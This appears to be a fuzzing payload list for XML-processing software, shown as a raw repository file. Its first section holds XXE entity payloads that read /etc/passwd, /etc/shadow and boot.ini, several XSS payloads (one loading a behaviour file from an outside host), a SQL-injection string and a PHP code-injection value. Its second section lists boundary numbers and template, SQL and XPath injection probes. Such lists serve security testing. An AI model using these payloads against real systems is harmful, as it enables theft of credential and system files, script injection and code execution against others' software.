66 lines
1.9 KiB
Plaintext
66 lines
1.9 KiB
Plaintext
## After XML Declaration
|
|
|
|
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
|
|
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
|
|
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof>
|
|
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xee SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo>
|
|
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xee SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>
|
|
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xee SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>
|
|
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xee SYSTEM "file:///dev/random">]><foo>&xee;</foo>
|
|
<!DOCTYPE autofillupload [<!ENTITY D71Mn SYSTEM "file:///c:/boot.ini">
|
|
]>
|
|
<!DOCTYPE autofillupload [<!ENTITY 9eTVC SYSTEM "file:///etc/passwd">
|
|
]>
|
|
"<xml ID=I><X><C><![CDATA[<IMG SRC=""javas]]><![CDATA[cript:alert('XSS');"">]]>"
|
|
"<xml ID=""xss""><I><B><IMG SRC=""javas<!-- -->cript:alert('XSS')""></B></I></xml><SPAN DATASRC=""#xss"" DATAFLD=""B"" DATAFORMATAS=""HTML""></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
|
"<xml SRC=""xsstest.xml"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
|
"<HTML xmlns:xss><?import namespace=""xss"" implementation=""http://ha.ckers.org/xss.htc""><xss:xss>XSS</xss:xss></HTML>"
|
|
<name>','')); phpinfo(); exit;/*</name>
|
|
|
|
|
|
## Element and Attrib Values
|
|
|
|
null
|
|
*
|
|
%
|
|
@
|
|
$
|
|
-
|
|
+
|
|
;
|
|
:
|
|
0
|
|
-1
|
|
1
|
|
0.1
|
|
0.9
|
|
true
|
|
false
|
|
1.7976931348623157e+308
|
|
5e-324
|
|
0.00005
|
|
5e-10
|
|
'XoiZR
|
|
"XoiZR
|
|
<Tnn96>
|
|
<?Tnn96 ?>
|
|
<? Tnn96 ?>
|
|
<% Tnn96 %>
|
|
<%= Tnn96 %>
|
|
[Tnn96]
|
|
(Tnn96)
|
|
{Tnn96}
|
|
{{Tnn96}}
|
|
{= Tnn96}
|
|
{{= Tnn96}}
|
|
' or '1'='1
|
|
' or ''='
|
|
x' or 1=1 or 'x'='y
|
|
/
|
|
//
|
|
//*
|
|
*/*
|
|
@*
|
|
count(/child::node())
|
|
x' or name()='username' or 'x'='y
|